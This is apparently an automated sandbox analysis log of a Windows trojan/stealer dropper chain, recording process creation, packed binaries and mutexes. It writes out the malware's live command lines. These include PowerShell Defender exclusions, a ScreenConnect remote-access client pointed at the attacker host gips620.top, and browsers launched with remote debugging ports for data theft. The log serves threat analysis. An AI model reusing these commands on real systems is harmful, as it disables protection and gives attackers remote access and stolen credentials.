Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0479B470	10_2_0479B470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_008BB490	13_2_008BB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_081B3E98	13_2_081B3E98
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02942310	15_2_02942310
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02940F38	15_2_02940F38
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_029420AA	15_2_029420AA
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02942014	15_2_02942014
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_0294215F	15_2_0294215F
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02940E8D	15_2_02940E8D
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02942C5A	15_2_02942C5A
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02942C60	15_2_02942C60
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02943648	15_2_02943648
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02943740	15_2_02943740
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941AFA	15_2_02941AFA
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941B5F	15_2_02941B5F
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941E9E	15_2_02941E9E
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941FBF	15_2_02941FBF
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941CB1	15_2_02941CB1
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941DEA	15_2_02941DEA
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_02941D69	15_2_02941D69
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF14D8	15_2_04AF14D8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF2C00	15_2_04AF2C00
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF8628	15_2_04AF8628
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF10A0	15_2_04AF10A0
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF1088	15_2_04AF1088
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF3029	15_2_04AF3029
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF3038	15_2_04AF3038
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_04AF1910	15_2_04AF1910
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D0B90	15_2_081D0B90
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D1450	15_2_081D1450
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D2CF8	15_2_081D2CF8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D9598	15_2_081D9598
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D9E98	15_2_081D9E98
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D1E88	15_2_081D1E88
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D7F70	15_2_081D7F70
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D0006	15_2_081D0006
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D0040	15_2_081D0040
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D38A2	15_2_081D38A2
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D18D8	15_2_081D18D8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D18E8	15_2_081D18E8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8950	15_2_081D8950
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8960	15_2_081D8960
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8218	15_2_081D8218
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8228	15_2_081D8228
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D5278	15_2_081D5278
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D526A	15_2_081D526A
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D0AF2	15_2_081D0AF2
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D3BD8	15_2_081D3BD8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D3BCB	15_2_081D3BCB
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D2BE0	15_2_081D2BE0
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D2C10	15_2_081D2C10
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081DA438	15_2_081DA438
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D5458	15_2_081D5458
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081DA448	15_2_081DA448
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D544A	15_2_081D544A
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D1441	15_2_081D1441
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8D10	15_2_081D8D10
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8D20	15_2_081D8D20
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8558	15_2_081D8558
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D8568	15_2_081D8568
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D9588	15_2_081D9588
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D45B8	15_2_081D45B8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D4DD2	15_2_081D4DD2
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D4DE0	15_2_081D4DE0
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D1E78	15_2_081D1E78
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D9E88	15_2_081D9E88
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D3EB2	15_2_081D3EB2
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D7F62	15_2_081D7F62
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D4FDA	15_2_081D4FDA
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081D4FE8	15_2_081D4FE8
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E2106	15_2_081E2106
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081EA514	15_2_081EA514
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E3237	15_2_081E3237
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E3248	15_2_081E3248
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081EBD98	15_2_081EBD98
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E2FC0	15_2_081E2FC0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007B80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007D8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BDF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007BD663 appears 40 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00B580C0 appears 130 times

Source: ga70pjP[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP[1].exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: ga70pjP.exe.6.dr	Static PE information: Resource name: FILES type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: random[1].exe2.6.dr	Static PE information: Data appended to the last section found
Source: 192facf4de.exe.6.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe0.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: f4d805b7c6.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9984832680517711
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9984832680517711
Source: random[1].exe.6.dr	Static PE information: Section: gzutziek ZLIB complexity 0.9939759036144579
Source: 3d9e1171bb.exe.6.dr	Static PE information: Section: gzutziek ZLIB complexity 0.9939759036144579
Source: random[1].exe1.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe1.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: 54ad0685cd.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 54ad0685cd.exe.6.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[1].exe2.6.dr	Static PE information: Section: ZLIB complexity 0.9968504958487084
Source: random[1].exe2.6.dr	Static PE information: Section: jznnqulh ZLIB complexity 0.9953793970524957
Source: 192facf4de.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9968504958487084
Source: 192facf4de.exe.6.dr	Static PE information: Section: jznnqulh ZLIB complexity 0.9953793970524957

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: NN9Dd7c.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: NN9Dd7c.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: NN9Dd7c[1].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: NN9Dd7c[1].exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[2].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[2].exe0.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: f5272cef3f.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: f5272cef3f.exe.6.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 8.2.NN9Dd7c.exe.3b21fe8.0.raw.unpack, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate
Source: 1156a90bbe2d483ebd285d59075df6eb.exe.8.dr, PayloadV1.cs	Suspicious method names: .PayloadV1.Validate
Source: 1156a90bbe2d483ebd285d59075df6eb.exe.8.dr, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum
Source: 8.2.NN9Dd7c.exe.3b21fe8.0.raw.unpack, PayloadExtensions.cs	Suspicious method names: .PayloadExtensions.GetArchitectureMinimum

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@117/237@45/22

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\NN9Dd7c[1].exe

Jump to behavior

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2532:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9044:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3728:120:WilError_03
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{f6bec8ba-58ff-4dfc-9981-2ec5ebd23734}-9MSZ40SLW145

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

System information queried: HandleInformation

Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIA043.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3973343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments

Source: 54ad0685cd.exe, 00000020.00000003.3237996078.000000000581B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3236375544.0000000005838000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3261427233.0000000005830000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe "C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe"
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\aqhnzja"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Process created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe "C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe"
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe "C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe"
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Process created: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe "C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe "C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6BEA3CDA60BB479BD6134249EBA64259 C
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIA043.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_3973343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 62663BE67B089F3264AF2C8AE57ABC03
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 51F875823EBE9D039049F5CCE08F98AE E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=33bf1e56-ac31-4776-92e6-865a91976f78&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c="
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe "C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe"
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "81374bf4-5161-4e78-9062-2622505dd25b" "User"
Source: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "071e1d02-2ded-441e-a216-a8295fcfc66b" "System"
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2168,i,12495445197851295823,16602898073438706142,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe "C:\Users\user\AppData\Local\Temp\1017683001\3d9e1171bb.exe"
Source: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2608 --field-trial-handle=2460,i,10425933932398577591,16914703880363206691,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe "C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5412 --field-trial-handle=1972,i,12048507488435266759,14562112167640179283,262144 /prefetch:8
